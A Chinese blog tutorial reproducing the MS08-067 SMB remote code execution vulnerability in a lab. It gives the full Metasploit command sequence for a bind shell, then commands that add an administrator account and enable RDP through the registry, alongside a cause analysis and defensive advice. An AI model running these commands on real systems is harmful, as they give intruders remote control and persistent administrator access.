“
2024年4月28日是Eastmount的安全星球 —— 『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。
”
这是作者新开的一个专栏——“漏洞挖掘与防护”,前期会复现各种经典和最新漏洞,并总结防护技巧;后期尝试从零学习漏洞挖掘技术,包括Web漏洞和二进制及IOT相关漏洞,以及Fuzzing技术。新的征程,新的开启,漫漫长征路,偏向虎山行。享受过程,感谢您的陪伴,一起加油~
上一篇文章将详细介绍Windows远程桌面服务漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击。这篇文章将详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程,它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口,并通过Metasploit工具获取shell及进行深入的操作。希望对入门的同学有帮助。
话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,还请海涵。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。
文章目录:
一.学习路线
二.漏洞描述
三.环境搭建
1.环境准备
2.端口详解
四.利用Metasploit复现漏洞
五.常见错误及漏洞原因分析
1.常见错误
2.漏洞成因
六.总结
前文赏析:
[漏洞挖掘与防护] 02.漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
下面是本人准备从零学习漏洞挖掘(Fuzzing入门)的部分技术路线,作为初学者分享与大家学习,也欢迎大家留言补充和讨论,共勉。
1.基础
南大《程序分析》
https://www.bilibili.com/video/BV1b7411K7P4
https://haotianmichael.github.io/2021/05/04/NJU静态程序分析-1-Data-Flow-Analysis/
fuzzingbook
https://www.fuzzingbook.org/
Fuzzing101
https://github.com/antonio-morales/Fuzzing101
https://blog.attify.com/fuzzing-iot-devices-part-1/
顶会论文阅读:安全四大顶会+软工顶会
2.技术
AFL (源码解读)
angr (直接从github学习吗?):基本用法->实例
模糊测试、污点分析、符号执行【动静态】
Ghidra(二进制、开源代表性工具)
内核模糊测试工具:syzkaller
ASAN
codeql
MIASM
3.实战
固件漏洞实际分析
协议漏洞挖掘
软件漏洞挖掘
Web渗透
IoT漏洞分析(路由设备)
区块链漏洞挖掘(智能合约)
CVE和CNVD申请
n-day复现 => 0-day挖掘
4.趋势
LLM+Fuzzing:推荐作者分享的南洋理工大学刘杨教授笔记(见『网络攻防和AI安全之家』知识星球)
Web3+Fuzzing
卫星+Fuzzing
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:
Windows 2000
Windows XP
Windows Server 2003
漏洞原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。
本文参考了很多大佬的文章,再次感谢他们。实验部分是结合自己的实践和经验讲解,如果存在错误或不足之处,也请批评和指正。
受害机:Windows XP SP1镜像
攻击机:Kali系统
第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。
第二步,虚拟机两个系统之间能够相互通信。
Kali:192.168.44.136
Win XP:192.168.44.135
第三步,打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。
第四步,关闭Windows XP系统的防火墙。
做完这些初始准备之后,我们开始利用Kali系统进行漏洞复现。
这里作者补充一些端口的基础知识,更有利于我们进行Web渗透实验。
(1) 端口作用
我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。
需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:
(2) 端口的分类
端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。
动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。
同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。
(3) 常见的端口
端口号
含义
21
FTP文件传输协议代理服务器常用端口号
22
SSH安全登录、SCP文件传输、端口重定向端口号
23
Telnet远程登录协议代理服务器常用端口号
25
SMTP Simple Mail Transfer Protocol (E-mail) 端口号(木马Antigen、WinPC等开放该端口)
53
DNS域名解析服务端口号
80/8080
HTTP协议代理服务器常用端口号
110
POP3“邮局协议版本3”使用的端口号
443
HTTPS加密的超文本传输服务端口号
445
通过SMB(服务器信息块)协议,访问各种共享文件夹或共享打印机
1080
SOCKS代理协议服务器常用端口号
1433
MSSQL SERVER数据库默认端口号
1521
Oracle数据库服务端口号
1863
MSN Messenger的文件传输功能所使用的端口号
3306
MYSQL默认端口号
3389
Microsoft RDP微软远程桌面使用的端口号
5631
Symantec pcAnywhere远程控制数据传输时使用的端口号
5632
Symantec pcAnywhere 主控端扫描被控端时使用的端口号
4000/8000
腾讯QQ端口号
(4) 黑客通过端口可以干什么
信息收集
目标探测
服务判断
系统判断
角色分析
(5) 445端口
谢公子大佬在 “135、137、138、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。
本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!
总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。
攻击机:Kali - 192.168.44.136
受害机:Win XP - 192.168.44.135
第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。
或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。
nmap -sV -Pn 192.168.44.135
第二步,进入Msfconsole并利用search语句查找漏洞利用模块。
终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。
msfconsole
search ms08-067
第三步,进入漏洞模块,并查看相关的使用说明。
使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。
use exploit/windows/smb/ms08_067_netapi
show options
show targets
第四步,设置攻击机、受害机信息。
# 目标机ip
set RHOST 192.168.44.135
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.44.136
# 设置自动类型
set target 0
# 显示配置信息
show options
第五步,运行exploit反弹shell。
此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。
exploit
session 1
ipconfig
pwd
注意:Windows XP SP1系统是中文而不是英文的,需要对ms08_067_netapi_ser2003_zh.rb处理。
第六步,在目标主机上创建文件夹及文件。
cd ..
# 创建文件夹
mkdir hacker
# 访问目录
dir
cd hacker
# 创建文件并写入内容
echo eastmount>test.txt
# 查看目标系统的基本信息
sysinfo
显示结果下图所示:
第七步,对目标XP主机进行深度提权。
# 增加普通用户
net user hacker 123456 /add
# 提升管理员权限
net localgroup administrators hacker /add
Windows DOM用户常用命令如下:
net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
net user abcd /del
将用户名为abcd的用户删除
net user abcd /active:no
将用户名为abcd的用户禁用
net user abcd /active:yes
激活用户名为abcd的用户
net user abcd
查看用户名为abcd的用户的情况
net localgroup administrators abcd /add
将abcd账户给予管理员权限
此时被攻击的主机新增“hacker”管理员如下图所示:
第八步,开启远程连接3389端口并进行远程操作。
# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135
首先查看端口,发现目标主机Windows XP并未开启3389端口。
输入命令开启远程连接端口。
接着输入“rdesktop 192.168.44.135”连接远程IP地址,并输入我们创建好的hacker用户名及密码。
输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登录XP系统。
哇塞,是不是很惊讶!这也是本文的深度提权知识。
最后,我们还需要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。
我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:
Windows XP系统关闭防火墙
漏洞不稳定多尝试几次
有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出造成。
最终作者解决了XP系统无法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改为“set payload generic/shell_bind_tcp”。
反弹shell失败:set payload generic/shell_reverse_tcp
反弹shell成功:set payload generic/shell_bind_tcp
如果仍然失败,可能需要换其他XP或2003系统进行尝试。祝好运~
如果想了解该漏洞的原理知识,推荐以下三篇文章,后续作者也需要深入去分析各种漏洞的原代码。
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
**/*/./** => **\*\**
**\*\..\** => **\**
在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。
这里通过IDA Pro打开c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。
写到这里,这篇文章就介绍结束了,通过本次实验我们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深入理解,希望对您有所帮助。如何进行防御呢?一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。
本次实验的完整命令:
# 端口查询
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
# 查找漏洞利用模块
msfconsole
search ms08-067
# 漏洞利用
use exploit/windows/smb/ms08_067_netapi
show options
show targets
# 设置相关配置信息
set RHOST 192.168.44.135
set RPORT 445
set payload generic/shell_bind_tcp
set LHOST 192.168.44.136
set target 0
show options
# 反弹shell
exploit
session 1
ipconfig
pwd
# 目标主机文件操作
cd ..
mkdir hacker
dir
cd hacker
echo eastmount>test.txt
sysinfo
# 深度提权及远程连接操作
net user hacker 123456 /add
net localgroup administrators hacker /add
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
netstat -an
rdesktop 192.168.44.135
真的感觉自己技术好菜,要学的知识好多。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。
『网络攻防和AI安全之家』目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!
(By:Eastmount 2024-07-14 夜于贵阳 )
参考文献:
[1] https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2008/MS08-067
[2] MS08-067利用 - s0mor
[3] MS08-067 远程执行代码 漏洞复现 - feizianquan
[4] MS08-067远程溢出漏洞(CVE-2008-4250)- Waldo_cuit
[5] MS08-067复现与简单分析 - 看雪论坛 有毒
[6] ms08-067漏洞复现与利用 - 张德亮
[7] CVE-2019-0708,MS17-010,MS08-067漏洞复现 - dazhuanlan
[8] Metasploit入门到精通 - i春秋视频
[9] Metasploitable渗透测试实战——Windows漏洞 MS08-067复现 - HsinTsao
[10] MS08_067漏洞学习研究 - justforfun12
[11] MS08-067漏洞原理及详尽分析过程 - FreeBuf Dhakkan
[12] 135、137、138、139和445端口 - 谢公子大佬